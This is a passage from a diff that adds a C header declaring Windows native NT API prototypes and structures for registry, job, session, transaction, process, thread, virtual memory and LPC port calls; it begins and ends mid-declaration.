PTOKEN_GROUPS Groups, + _In_ PTOKEN_PRIVILEGES Privileges, + _In_opt_ PVOID UserAttributes, // points to TOKEN_SECURITY_ATTRIBUTES_INFORMATION + _In_opt_ PVOID DeviceAttributes, // points to PTOKEN_SECURITY_ATTRIBUTES_INFORMATION + _In_opt_ PTOKEN_GROUPS DeviceGroups, + _In_opt_ PTOKEN_MANDATORY_POLICY TokenMandatoryPolicy, + _In_opt_ PTOKEN_OWNER Owner, + _In_ PTOKEN_PRIMARY_GROUP PrimaryGroup, + _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, + _In_ PTOKEN_SOURCE TokenSource); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateLowBoxToken( + _Out_ PHANDLE TokenHandle, + _In_ HANDLE ExistingTokenHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PSID PackageSid, + _In_ ULONG CapabilityCount, + _In_reads_opt_(CapabilityCount) PSID_AND_ATTRIBUTES Capabilities, + _In_ ULONG HandleCount, + _In_reads_opt_(HandleCount) HANDLE *Handles); + +/************************************************************************************ +* +* Registry API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _Out_opt_ PULONG Disposition); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Reserved_ ULONG TitleIndex, + _In_opt_ PUNICODE_STRING Class, + _In_ ULONG CreateOptions, + _In_ HANDLE TransactionHandle, + _Out_opt_ PULONG Disposition); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKey( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKeyEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKeyTransacted( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE TransactionHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenKeyTransactedEx( + _Out_ PHANDLE KeyHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG OpenOptions, + _In_ HANDLE TransactionHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryKey( + _In_ HANDLE KeyHandle, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtEnumerateKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_INFORMATION_CLASS KeyInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtEnumerateValueKey( + _In_ HANDLE KeyHandle, + _In_ ULONG Index, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_ KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + _Out_writes_bytes_opt_(Length) PVOID KeyValueInformation, + _In_ ULONG Length, + _Out_ PULONG ResultLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryMultipleValueKey( + _In_ HANDLE KeyHandle, + _Inout_updates_(EntryCount) PKEY_VALUE_ENTRY ValueEntries, + _In_ ULONG EntryCount, + _Out_writes_bytes_(*BufferLength) PVOID ValueBuffer, + _Inout_ PULONG BufferLength, + _Out_opt_ PULONG RequiredBufferLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName, + _In_opt_ ULONG TitleIndex, + _In_ ULONG Type, + _In_reads_bytes_opt_(DataSize) PVOID Data, + _In_ ULONG DataSize); + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteKey( + _In_ HANDLE KeyHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteValueKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING ValueName); + +NTSYSAPI +NTSTATUS +NTAPI +NtRenameKey( + _In_ HANDLE KeyHandle, + _In_ PUNICODE_STRING NewName); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationKey( + _In_ HANDLE KeyHandle, + _In_ KEY_SET_INFORMATION_CLASS KeySetInformationClass, + _In_reads_bytes_(KeySetInformationLength) PVOID KeySetInformation, + _In_ ULONG KeySetInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtFlushKey( + _In_ HANDLE KeyHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtCompressKey( + _In_ HANDLE Key); + +NTSYSAPI +NTSTATUS +NTAPI +NtLoadKey( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile); + +NTSYSAPI +NTSTATUS +NTAPI +NtLoadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags); + +NTSYSAPI +NTSTATUS +NTAPI +NtLoadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ POBJECT_ATTRIBUTES SourceFile, + _In_ ULONG Flags, + _In_opt_ HANDLE TrustClassKey, + _In_opt_ HANDLE Event, + _In_opt_ ACCESS_MASK DesiredAccess, + _Out_opt_ PHANDLE RootHandle, + _Out_opt_ PIO_STATUS_BLOCK IoStatus); + +NTSYSAPI +NTSTATUS +NTAPI +NtSaveKey( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtSaveKeyEx( + _In_ HANDLE KeyHandle, + _In_ HANDLE FileHandle, + _In_ ULONG Format); + +NTSYSAPI +NTSTATUS +NTAPI +NtUnloadKey( + _In_ POBJECT_ATTRIBUTES TargetKey); + +NTSYSAPI +NTSTATUS +NTAPI +NtUnloadKey2( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_ ULONG Flags); + +NTSYSAPI +NTSTATUS +NTAPI +NtUnloadKeyEx( + _In_ POBJECT_ATTRIBUTES TargetKey, + _In_opt_ HANDLE Event); + +NTSYSAPI +NTSTATUS +NTAPI +NtNotifyChangeKey( + _In_ HANDLE KeyHandle, + _In_opt_ HANDLE Event, + _In_opt_ PIO_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG CompletionFilter, + _In_ BOOLEAN WatchTree, + _Out_writes_bytes_opt_(BufferSize) PVOID Buffer, + _In_ ULONG BufferSize, + _In_ BOOLEAN Asynchronous); + +NTSYSAPI +NTSTATUS +NTAPI +NtLockRegistryKey( + _In_ HANDLE KeyHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateRegistryTransaction( + _Out_ PHANDLE Handle, + _In_ ACCESS_MASK DesiredAccess, //generic + TRANSACTION_* + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ DWORD Flags); + +NTSYSAPI +NTSTATUS +NTAPI +NtCommitRegistryTransaction( + _In_ HANDLE RegistryHandle, + _In_ BOOL Wait); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenRegistryTransaction( + _Out_ PHANDLE RegistryHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtRollbackRegistryTransaction( + _In_ HANDLE RegistryHandle, + _In_ BOOL Wait); + + +/************************************************************************************ +* +* Job API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtAssignProcessToJobObject( + _In_ HANDLE JobHandle, + _In_ HANDLE ProcessHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateJobSet( + _In_ ULONG NumJob, + _In_reads_(NumJob) PJOB_SET_ARRAY UserJobSet, + _In_ ULONG Flags); + +NTSYSAPI +NTSTATUS +NTAPI +NtIsProcessInJob( + _In_ HANDLE ProcessHandle, + _In_opt_ HANDLE JobHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenJobObject( + _Out_ PHANDLE JobHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationJobObject( + _In_opt_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _Out_writes_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationJobObject( + _In_ HANDLE JobHandle, + _In_ JOBOBJECTINFOCLASS JobObjectInformationClass, + _In_reads_bytes_(JobObjectInformationLength) PVOID JobObjectInformation, + _In_ ULONG JobObjectInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtTerminateJobObject( + _In_ HANDLE JobHandle, + _In_ NTSTATUS ExitStatus); + +/************************************************************************************ +* +* Session API. +* +************************************************************************************/ + +//taken from ph2 + +typedef enum _IO_SESSION_EVENT { + IoSessionEventIgnore, + IoSessionEventCreated, + IoSessionEventTerminated, + IoSessionEventConnected, + IoSessionEventDisconnected, + IoSessionEventLogon, + IoSessionEventLogoff, + IoSessionEventMax +} IO_SESSION_EVENT; + +typedef enum _IO_SESSION_STATE { + IoSessionStateCreated, + IoSessionStateInitialized, + IoSessionStateConnected, + IoSessionStateDisconnected, + IoSessionStateDisconnectedLoggedOn, + IoSessionStateLoggedOn, + IoSessionStateLoggedOff, + IoSessionStateTerminated, + IoSessionStateMax +} IO_SESSION_STATE; + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenSession( + _Out_ PHANDLE SessionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtNotifyChangeSession( + _In_ HANDLE SessionHandle, + _In_ ULONG ChangeSequenceNumber, + _In_ PLARGE_INTEGER ChangeTimeStamp, + _In_ IO_SESSION_EVENT Event, + _In_ IO_SESSION_STATE NewState, + _In_ IO_SESSION_STATE PreviousState, + _In_reads_bytes_opt_(PayloadSize) PVOID Payload, + _In_ ULONG PayloadSize); + +/************************************************************************************ +* +* IO Completion API. +* +************************************************************************************/ + +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef struct _IO_COMPLETION_BASIC_INFORMATION { + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, *PIO_COMPLETION_BASIC_INFORMATION; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG Count); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenIoCompletion( + _Out_ PHANDLE IoCompletionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_ IO_COMPLETION_INFORMATION_CLASS IoCompletionInformationClass, + _Out_writes_bytes_(IoCompletionInformationLength) PVOID IoCompletionInformation, + _In_ ULONG IoCompletionInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetIoCompletion( + _In_ HANDLE IoCompletionHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetIoCompletionEx( + _In_ HANDLE IoCompletionHandle, + _In_ HANDLE IoCompletionPacketHandle, + _In_opt_ PVOID KeyContext, + _In_opt_ PVOID ApcContext, + _In_ NTSTATUS IoStatus, + _In_ ULONG_PTR IoStatusInformation); + +NTSYSAPI +NTSTATUS +NTAPI +NtRemoveIoCompletion( + _In_ HANDLE IoCompletionHandle, + _Out_ PVOID *KeyContext, + _Out_ PVOID *ApcContext, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER Timeout); + +/************************************************************************************ +* +* Transactions API. +* +************************************************************************************/ + +//TmTx +NTSYSAPI +NTSTATUS +NTAPI +NtCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LPGUID Uow, + _In_opt_ HANDLE TmHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtRollbackTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait); + +NTSYSAPI +NTSTATUS +NTAPI +NtCommitTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait); + +NTSYSAPI +NTSTATUS +NTAPI +NtFreezeTransactions( + _In_ PLARGE_INTEGER FreezeTimeout, + _In_ PLARGE_INTEGER ThawTimeout); + +NTSYSAPI +NTSTATUS +NTAPI +NtThawTransactions( + VOID); + +//TmRm +NTSYSAPI +NTSTATUS +NTAPI +NtCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes); + +//TmEn +NTSYSAPI +NTSTATUS +NTAPI +NtCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ LPGUID EnlistmentGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes); + +//TmTm +NTSYSAPI +NTSTATUS +NTAPI +NtCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ LPGUID TmIdentity, + _In_opt_ ULONG OpenOptions); + +/************************************************************************************ +* +* Process and Thread API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateUserProcess( + _Out_ PHANDLE ProcessHandle, + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK ProcessDesiredAccess, + _In_ ACCESS_MASK ThreadDesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ProcessObjectAttributes, + _In_opt_ POBJECT_ATTRIBUTES ThreadObjectAttributes, + _In_ ULONG ProcessFlags, + _In_ ULONG ThreadFlags, + _In_opt_ PVOID ProcessParameters, + _Inout_ PPS_CREATE_INFO CreateInfo, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcess( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId); + +NTSYSAPI +NTSTATUS +NTAPI +NtTerminateProcess( + _In_opt_ HANDLE ProcessHandle, + _In_ NTSTATUS ExitStatus); + +NTSYSAPI +NTSTATUS +NTAPI +NtSuspendProcess( + _In_ HANDLE ProcessHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtResumeProcess( + _In_ HANDLE ProcessHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtSuspendThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount); + +NTSYSAPI +NTSTATUS +NTAPI +NtResumeThread( + _In_ HANDLE ThreadHandle, + _Out_opt_ PULONG PreviousSuspendCount); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThread( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PCLIENT_ID ClientId); + +NTSYSAPI +NTSTATUS +NTAPI +NtTerminateThread( + _In_opt_ HANDLE ThreadHandle, + _In_ NTSTATUS ExitStatus); + +NTSYSAPI +NTSTATUS +NTAPI +NtImpersonateThread( + _In_ HANDLE ServerThreadHandle, + _In_ HANDLE ClientThreadHandle, + _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetContextThread( + _In_ HANDLE ThreadHandle, + _In_ PCONTEXT ThreadContext); + +NTSYSAPI +NTSTATUS +NTAPI +NtGetContextThread( + _In_ HANDLE ThreadHandle, + _Inout_ PCONTEXT ThreadContext); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _Out_writes_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationThread( + _In_ HANDLE ThreadHandle, + _In_ THREADINFOCLASS ThreadInformationClass, + _In_reads_bytes_(ThreadInformationLength) PVOID ThreadInformation, + _In_ ULONG ThreadInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _Out_writes_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationProcess( + _In_ HANDLE ProcessHandle, + _In_ PROCESSINFOCLASS ProcessInformationClass, + _In_reads_bytes_(ProcessInformationLength) PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength); + +typedef VOID(*PPS_APC_ROUTINE) ( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueueApcThread( + _In_ HANDLE ThreadHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueueApcThreadEx( + _In_ HANDLE ThreadHandle, + _In_opt_ HANDLE UserApcReserveHandle, + _In_ PPS_APC_ROUTINE ApcRoutine, + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3); + +NTSYSAPI +NTSTATUS +NTAPI +NtYieldExecution( + VOID); + +NTSYSAPI +NTSTATUS +NTAPI +NtTestAlert( + VOID); + +NTSYSAPI +NTSTATUS +NTAPI +NtDelayExecution( + _In_ BOOLEAN Alertable, + _In_opt_ PLARGE_INTEGER DelayInterval); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateProcessEx( + _Out_ PHANDLE ProcessHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ParentProcess, + _In_ ULONG Flags, + _In_opt_ HANDLE SectionHandle, + _In_opt_ HANDLE DebugPort, + _In_opt_ HANDLE ExceptionPort, + _In_ BOOLEAN InJob); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateThreadEx( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ HANDLE ProcessHandle, + _In_ PVOID StartRoutine, + _In_opt_ PVOID Argument, + _In_ ULONG CreateFlags, //THREAD_CREATE_FLAGS_* + _In_opt_ ULONG_PTR ZeroBits, + _In_opt_ SIZE_T StackSize, + _In_opt_ SIZE_T MaximumStackSize, + _In_opt_ PPS_ATTRIBUTE_LIST AttributeList); + +NTSYSAPI +ULONG +NTAPI +NtGetCurrentProcessorNumber( + VOID); + +/************************************************************************************ +* +* License API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryLicenseValue( + _In_ PUNICODE_STRING ValueName, + _Out_opt_ PULONG Type, + _Out_writes_bytes_to_opt_(DataSize, *ResultDataSize) PVOID Data, + _In_ ULONG DataSize, + _Out_ PULONG ResultDataSize); + +/************************************************************************************ +* +* Virtual Memory API. +* +************************************************************************************/ + +NTSYSAPI +NTSTATUS +NTAPI +NtAllocateVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ _At_(*BaseAddress, _Readable_bytes_(*RegionSize) _Writable_bytes_(*RegionSize) _Post_readable_byte_size_(*RegionSize)) PVOID *BaseAddress, + _In_ ULONG_PTR ZeroBits, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG AllocationType, + _In_ ULONG Protect); + +NTSYSAPI +NTSTATUS +NTAPI +NtFreeVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG FreeType); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ MEMORY_INFORMATION_CLASS MemoryInformationClass, + _Out_writes_bytes_(MemoryInformationLength) PVOID MemoryInformation, + _In_ SIZE_T MemoryInformationLength, + _Out_opt_ PSIZE_T ReturnLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_ VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, + _In_ ULONG_PTR NumberOfEntries, + _In_reads_(NumberOfEntries) PMEMORY_RANGE_ENTRY VirtualAddresses, + _In_reads_bytes_(VmInformationLength) PVOID VmInformation, + _In_ ULONG VmInformationLength); + +NTSYSAPI +NTSTATUS +NTAPI +NtReadVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _Out_writes_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesRead); + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteVirtualMemory( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_reads_bytes_(BufferSize) PVOID Buffer, + _In_ SIZE_T BufferSize, + _Out_opt_ PSIZE_T NumberOfBytesWritten); + +NTSYSAPI +NTSTATUS +NTAPI +NtProtectVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG NewProtect, + _Out_ PULONG OldProtect); + +NTSYSAPI +NTSTATUS +NTAPI +NtLockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType); + +NTSYSAPI +NTSTATUS +NTAPI +NtUnlockVirtualMemory( + _In_ HANDLE ProcessHandle, + _Inout_ PVOID *BaseAddress, + _Inout_ PSIZE_T RegionSize, + _In_ ULONG MapType); + +NTSYSAPI +NTSTATUS +NTAPI +NtFlushInstructionCache( + _In_ HANDLE ProcessHandle, + _In_opt_ PVOID BaseAddress, + _In_ SIZE_T Length); + +NTSYSAPI +NTSTATUS +NTAPI +NtCreatePagingFile( + _In_ PUNICODE_STRING PageFileName, + _In_ PLARGE_INTEGER MinimumSize, + _In_ PLARGE_INTEGER MaximumSize, + _In_ ULONG Priority); + +/************************************************************************************ +* +* Port API. +* +************************************************************************************/ + +typedef struct _PORT_VIEW { + ULONG Length; + HANDLE SectionHandle; + ULONG SectionOffset; + SIZE_T ViewSize; + PVOID ViewBase; + PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + SIZE_T ViewSize; + PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +typedef struct _PORT_MESSAGE { + union { + struct { + CSHORT DataLength; + CSHORT TotalLength; + } s1; + ULONG Length; + } u1; + union { + struct { + CSHORT Type; + CSHORT DataInfoOffset; + } s2; + ULONG ZeroInit; + } u2; + union { + CLIENT_ID ClientId; + double DoNotUseThisField; // Force quadword alignment + } u3; + ULONG MessageId; + union { + ULONG ClientViewSize; // Only valid on LPC_CONNECTION_REQUEST message + ULONG CallbackId; // Only valid on LPC_REQUEST message + } u4; + UCHAR Reserved[8]; +} PORT_MESSAGE, *PPORT_MESSAGE; + +typedef struct _PORT_DATA_ENTRY { + PVOID Base; + ULONG Size; +} PORT_DATA_ENTRY, *PPORT_DATA_ENTRY; + +typedef struct _PORT_DATA_INFORMATION { + ULONG CountDataEntries; + PORT_DATA_ENTRY DataEntries[1]; +} PORT_DATA_INFORMATION, *PPORT_DATA_INFORMATION; + +#define LPC_REQUEST 1 +#define LPC_REPLY 2 +#define LPC_DATAGRAM 3 +#define LPC_LOST_REPLY 4 +#define LPC_PORT_CLOSED 5 +#define LPC_CLIENT_DIED 6 +#define LPC_EXCEPTION 7 +#define LPC_DEBUG_EVENT 8 +#define LPC_ERROR_EVENT 9 +#define LPC_CONNECTION_REQUEST 10 + +#define PORT_VALID_OBJECT_ATTRIBUTES (OBJ_CASE_INSENSITIVE) +#define PORT_MAXIMUM_MESSAGE_LENGTH 256 + +typedef struct _LPC_CLIENT_DIED_MSG { + PORT_MESSAGE PortMsg; + LARGE_INTEGER CreateTime; +} LPC_CLIENT_DIED_MSG, *PLPC_CLIENT_DIED_MSG; + +NTSYSAPI +NTSTATUS +NTAPI +NtCreatePort( + _Out_ PHANDLE PortHandle, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ ULONG MaxConnectionInfoLength, + _In_ ULONG MaxMessageLength, + _In_ ULONG MaxPoolUsage); + +NTSYSAPI +NTSTATUS +NTAPI +NtCompleteConnectPort( + _In_ HANDLE PortHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtListenPort( + _In_ HANDLE PortHandle, + _Out_ PPORT_MESSAGE ConnectionRequest); + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE ReplyMessage); + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReplyPort( + _In_ HANDLE PortHandle, + _Inout_ PPORT_MESSAGE ReplyMessage); + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage); + +NTSYSAPI +NTSTATUS +NTAPI +NtRequestWaitReplyPort( + _In_ HANDLE PortHandle, + _In_ PPORT_MESSAGE RequestMessage, + _Out_ PPORT_MESSAGE ReplyMessage); + +NTSYSAPI +NTSTATUS +NTAPI +NtClosePort( + _In_ HANDLE PortHandle); + +NTSYSAPI +NTSTATUS +NTAPI +NtReplyWaitReceivePort( + _In_ HANDLE 